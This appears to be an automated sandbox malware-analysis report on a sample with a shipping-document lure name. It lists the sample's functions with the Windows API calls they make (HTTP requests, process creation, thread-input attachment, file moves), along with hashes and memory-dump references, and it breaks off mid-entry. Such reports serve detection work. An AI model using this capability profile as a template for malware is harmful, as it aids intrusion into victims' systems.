                                                • Opcode ID: 740cbc08c39e6989f84a657d412a07648c366319a0c212d1d7fa9bbf093e231c
                                                • Instruction ID: 509ca380d0a2ad78b21837e6dcb93c6ef49e737f578a81f877f2f1f66aba32a4
                                                • Opcode Fuzzy Hash: 740cbc08c39e6989f84a657d412a07648c366319a0c212d1d7fa9bbf093e231c
                                                • Instruction Fuzzy Hash: 50518E31A04700DFDB20EF65CC45B6AB7E4EF89710F044969F956EB2A1DB30E841DB92
                                                Function 00A0B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00A0B4D0
                                                • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00A0B546
                                                • GetLastError.KERNEL32 ref: 00A0B550
                                                • SetErrorMode.KERNEL32(00000000,READY), ref: 00A0B5BD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Error$Mode$DiskFreeLastSpace
                                                • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                • API String ID: 4194297153-14809454
                                                • Opcode ID: 7e9d35fe4aad36a7de0d956572457ced84fdc2304a59ec9a39580b9215437830
                                                • Instruction ID: 2a715639771510198f0bd2e561070aff074f0c6ce4f3ca7fd8092d3dcd7db23b
                                                • Opcode Fuzzy Hash: 7e9d35fe4aad36a7de0d956572457ced84fdc2304a59ec9a39580b9215437830
                                                • Instruction Fuzzy Hash: 5A31A335A00209EFCB10DBA8DD45EBE77B4FF45301F1041A6E902AB2D1DB71AA02CBA1
                                                Function 00A261D3 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DeleteObject.GDI32(00000000), ref: 00A261EB
                                                • GetDC.USER32(00000000), ref: 00A261F3
                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A261FE
                                                • ReleaseDC.USER32(00000000,00000000), ref: 00A2620A
                                                • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00A26246
                                                • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00A26257
                                                • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00A2902A,?,?,000000FF,00000000,?,000000FF,?), ref: 00A26291
                                                • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00A262B1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                • String ID: @U=u
                                                • API String ID: 3864802216-2594219639
                                                • Opcode ID: 3bd290df6bfacec2153e3faf0d79895cb86d6365eb5f21dff392a1702b82bfc9
                                                • Instruction ID: 4126e7175904d55bdb694a1cd499d2b5a882a1f3ded8314edaa6662714886a92
                                                • Opcode Fuzzy Hash: 3bd290df6bfacec2153e3faf0d79895cb86d6365eb5f21dff392a1702b82bfc9
                                                • Instruction Fuzzy Hash: 91316D72101210BFEB218F58DC8AFFA3BA9EF49765F044075FE089A191D6759842CB64
                                                Function 00A188AB Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 00A188D7
                                                • CoInitialize.OLE32(00000000), ref: 00A18904
                                                • CoUninitialize.OLE32 ref: 00A1890E
                                                • GetRunningObjectTable.OLE32(00000000,?), ref: 00A18A0E
                                                • SetErrorMode.KERNEL32(00000001,00000029), ref: 00A18B3B
                                                • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00A32C0C), ref: 00A18B6F
                                                • CoGetObject.OLE32(?,00000000,00A32C0C,?), ref: 00A18B92
                                                • SetErrorMode.KERNEL32(00000000), ref: 00A18BA5
                                                • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00A18C25
                                                • VariantClear.OLEAUT32(?), ref: 00A18C35
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                • String ID:
                                                • API String ID: 2395222682-0
                                                • Opcode ID: a15513052900344ee18710137b44614a5370014cfb30e7d25028012f1222959f
                                                • Instruction ID: bd80d4bd197bc079f5078b65c5f715d8615be81a9be1a4e059715969bc961581
                                                • Opcode Fuzzy Hash: a15513052900344ee18710137b44614a5370014cfb30e7d25028012f1222959f
                                                • Instruction Fuzzy Hash: 27C13971608305AFC700DF68C884A6BB7E9FF89748F00492DF9899B251DB75ED46CB92
                                                Function 00A07990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON
                                                Download Yara Rule
                                                APIs
                                                • SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00A07A6C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ArraySafeVartype
                                                • String ID:
                                                • API String ID: 1725837607-0
                                                • Opcode ID: 37dd58592ba1b22f114d94936facdab988464a9c7071e5111fb8b51743bccdcb
                                                • Instruction ID: 10ad9f735ab873342efeb7e4036a4a79ab27ec10b4eb8d05491e9d3bcada1a71
                                                • Opcode Fuzzy Hash: 37dd58592ba1b22f114d94936facdab988464a9c7071e5111fb8b51743bccdcb
                                                • Instruction Fuzzy Hash: 4DB18D71D0421E9FEB10DFA8E884BBEB7B4FF49321F244429E501EB281D774A941CBA1
                                                Function 00A011CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThreadId.KERNEL32 ref: 00A011F0
                                                • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00A00268,?,00000001), ref: 00A01204
                                                • GetWindowThreadProcessId.USER32(00000000), ref: 00A0120B
                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00A00268,?,00000001), ref: 00A0121A
                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 00A0122C
                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00A00268,?,00000001), ref: 00A01245
                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00A00268,?,00000001), ref: 00A01257
                                                • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00A00268,?,00000001), ref: 00A0129C
                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00A00268,?,00000001), ref: 00A012B1
                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00A00268,?,00000001), ref: 00A012BC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                • String ID:
                                                • API String ID: 2156557900-0
                                                • Opcode ID: a73ba2082975659456fc85d5de7aecf9b07013c0083758fd6ed4af098f7d17fb
                                                • Instruction ID: 390f4925adcb7eed69665753030cc51c73e8e93d0cb81337d2aeb5c321edf0c3
                                                • Opcode Fuzzy Hash: a73ba2082975659456fc85d5de7aecf9b07013c0083758fd6ed4af098f7d17fb
                                                • Instruction Fuzzy Hash: C2316775600208BFEB20DB98FD88BE977B9EB68311F114139F910D62E0D7B49D428B60
                                                Function 009AFA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 009AFAA6
                                                • OleUninitialize.OLE32(?,00000000), ref: 009AFB45
                                                • UnregisterHotKey.USER32(?), ref: 009AFC9C
                                                • DestroyWindow.USER32(?), ref: 009E45D6
                                                • FreeLibrary.KERNEL32(?), ref: 009E463B
                                                • VirtualFree.KERNEL32(?,00000000,00008000), ref: 009E4668
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                • String ID: close all
                                                • API String ID: 469580280-3243417748
                                                • Opcode ID: 7d57e990f25a03469b039081a319747eb496389dedb5bc92b8d9e1fe8f09fa49
                                                • Instruction ID: 9e1284c9226b066aff4438b132f5d10b5229903927ee8f469050753e73b895a1
                                                • Opcode Fuzzy Hash: 7d57e990f25a03469b039081a319747eb496389dedb5bc92b8d9e1fe8f09fa49
                                                • Instruction Fuzzy Hash: 9AA15E30701212CFCB29EF55C5A5B69F374BF46B10F5146ADE80AAB261DB30AD16CF90
                                                Function 009FA068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON
                                                Download Yara Rule
                                                APIs
                                                • EnumChildWindows.USER32(?,009FA439), ref: 009FA377
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ChildEnumWindows
                                                • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                • API String ID: 3555792229-1603158881
                                                • Opcode ID: 73a0e4e33f7180f2361a596e6a9bf3394f55344b5c93dc8e6c0642dae2a2333e
                                                • Instruction ID: 8ac1d581554e8e2af7b0216700cd2536868f7f672319f4e4ec8000aeab591e74
                                                • Opcode Fuzzy Hash: 73a0e4e33f7180f2361a596e6a9bf3394f55344b5c93dc8e6c0642dae2a2333e
                                                • Instruction Fuzzy Hash: 3A91B670A04609EBCB08DFA4C482BFEFB78BF44310F548519E95DA7251DF316999CBA2
                                                Function 00A2B351 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 199windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • IsWindow.USER32(010DD298), ref: 00A2B3EB
                                                • IsWindowEnabled.USER32(010DD298), ref: 00A2B3F7
                                                • SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 00A2B4DB
                                                • SendMessageW.USER32(010DD298,000000B0,?,?), ref: 00A2B512
                                                • IsDlgButtonChecked.USER32(?,?), ref: 00A2B54F
                                                • GetWindowLongW.USER32(010DD298,000000EC), ref: 00A2B571
                                                • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00A2B589
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                                • String ID: @U=u
                                                • API String ID: 4072528602-2594219639
                                                • Opcode ID: 5b860e81870072f13d41bd675cf208597fba08ea1991d790e220f3639ad50683
                                                • Instruction ID: 765e049c934e2bf243d37060c13aeccd438127664d60555cbdd9033bc62b33fc
                                                • Opcode Fuzzy Hash: 5b860e81870072f13d41bd675cf208597fba08ea1991d790e220f3639ad50683
                                                • Instruction Fuzzy Hash: 1271B334A14224EFDB24EF68E8D4FBA77B5EF09300F144479FA4597262C731A941DB60
                                                Function 00A26D80 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 143windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00A26E24
                                                • SendMessageW.USER32(?,00001036,00000000,?), ref: 00A26E38
                                                • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00A26E52
                                                • _wcscat.LIBCMT ref: 00A26EAD
                                                • SendMessageW.USER32(?,00001057,00000000,?), ref: 00A26EC4
                                                • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00A26EF2
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$Window_wcscat
                                                • String ID: @U=u$SysListView32
                                                • API String ID: 307300125-1908207174
                                                • Opcode ID: cd0b96846616a36ee7d98d1e7fa79114c0f2c9df419a598b120a0817230785e7
                                                • Instruction ID: 4a4402df76a8bf6cff428e6f60c0bd1ea2e24a415ec23eaf247521179bc0af7d
                                                • Opcode Fuzzy Hash: cd0b96846616a36ee7d98d1e7fa79114c0f2c9df419a598b120a0817230785e7
                                                • Instruction Fuzzy Hash: 9941BD70A00358AFEB21DFA8DC85BEE77B8EF08350F10083AF584A7291D6719D858B60
                                                Function 00A11A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00A11A50
                                                • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00A11A7C
                                                • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00A11ABE
                                                • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00A11AD3
                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A11AE0
                                                • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00A11B10
                                                • InternetCloseHandle.WININET(00000000), ref: 00A11B57
                                                  • Part of subcall function 00A12483: GetLastError.KERNEL32(?,?,00A11817,00000000,00000000,00000001), ref: 00A12498
                                                  • Part of subcall function 00A12483: SetEvent.KERNEL32(?,?,00A11817,00000000,00000000,00000001), ref: 00A124AD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
                                                • String ID:
                                                • API String ID: 2603140658-3916222277
                                                • Opcode ID: 6d6176a91e9ddd17e93847c651412476770e267fcb13094384298fe59db4607a
                                                • Instruction ID: 23ff77794c767c4700fb99f10cf56ad08a90c3853035550d3eb1250a17623c4a
                                                • Opcode Fuzzy Hash: 6d6176a91e9ddd17e93847c651412476770e267fcb13094384298fe59db4607a
                                                • Instruction Fuzzy Hash: 6F418FB1505218BFEB118F54CD89FFB7BACEF08354F00812AFA059A141E770DE859BA0
                                                Function 00A262CD Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00A262EC
                                                • GetWindowLongW.USER32(010DD298,000000F0), ref: 00A2631F
                                                • GetWindowLongW.USER32(010DD298,000000F0), ref: 00A26354
                                                • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00A26386
                                                • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00A263B0
                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 00A263C1
                                                • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00A263DB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LongWindow$MessageSend
                                                • String ID: @U=u
                                                • API String ID: 2178440468-2594219639
                                                • Opcode ID: 38755ab1ebfd36459d6564aaefc84f91984b62dc71b2176cc9950ec83604cd11
                                                • Instruction ID: 59adf570fc73de933051390098d9d4f958d76a79c6e545ce248ba1ed5bef144a
                                                • Opcode Fuzzy Hash: 38755ab1ebfd36459d6564aaefc84f91984b62dc71b2176cc9950ec83604cd11
                                                • Instruction Fuzzy Hash: 5B31E0306452A0AFDB21CFACEC84F6537E1FB5A714F1901B4F5419F2B2CB71A8429B91
                                                Function 00A18C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleFileNameW.KERNEL32(?,?,00000104,?,00A2F910), ref: 00A18D28
                                                • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00A2F910), ref: 00A18D5C
                                                • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00A18ED6
                                                • SysFreeString.OLEAUT32(?), ref: 00A18F00
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                • String ID:
                                                • API String ID: 560350794-0
                                                • Opcode ID: f429991e3c03b4e0ddfc205bb9b8a426ed22c1400f7093a682dc08c714e85a09
                                                • Instruction ID: 8b168da55fea9bbb761f5550c909330f37f1d69ea99b7f718321e5c4e065081d
                                                • Opcode Fuzzy Hash: f429991e3c03b4e0ddfc205bb9b8a426ed22c1400f7093a682dc08c714e85a09
                                                • Instruction Fuzzy Hash: C0F10A71A00209AFDF14DF94C884EEEB7B9FF49314F148598F905AB251DB35AE86CB90
                                                Function 00A1F694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A1F6B5
                                                • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00A1F848
                                                • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00A1F86C
                                                • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00A1F8AC
                                                • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00A1F8CE
                                                • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00A1FA4A
                                                • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00A1FA7C
                                                • CloseHandle.KERNEL32(?), ref: 00A1FAAB
                                                • CloseHandle.KERNEL32(?), ref: 00A1FB22
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                • String ID:
                                                • API String ID: 4090791747-0
                                                • Opcode ID: c23c5c676b48131c15f596eb0fe4830c359be39a2151cc35ad386b6a9b82dc9a
                                                • Instruction ID: 7735d5d68f1e32871bb3bd53145fd9a5da761dda1e695cf06dd9bc70ee57563b
                                                • Opcode Fuzzy Hash: c23c5c676b48131c15f596eb0fe4830c359be39a2151cc35ad386b6a9b82dc9a
                                                • Instruction Fuzzy Hash: B0E1A3316043409FCB14EF24C891BAABBE5FF85354F14856DF8999B2A2CB31EC85CB52
                                                Function 00A04CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00A0466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00A03697,?), ref: 00A0468B
                                                  • Part of subcall function 00A0466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00A03697,?), ref: 00A046A4
                                                  • Part of subcall function 00A04A31: GetFileAttributesW.KERNEL32(?,00A0370B), ref: 00A04A32
                                                • lstrcmpiW.KERNEL32(?,?), ref: 00A04D40
                                                • _wcscmp.LIBCMT ref: 00A04D5A
                                                • MoveFileW.KERNEL32(?,?), ref: 00A04D75
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                                • String ID:
                                                • API String ID: 793581249-0
                                                • Opcode ID: eb051e8ea3712096792a699ee470fe42a039a523889eb82ddc9a593c9ff975a3
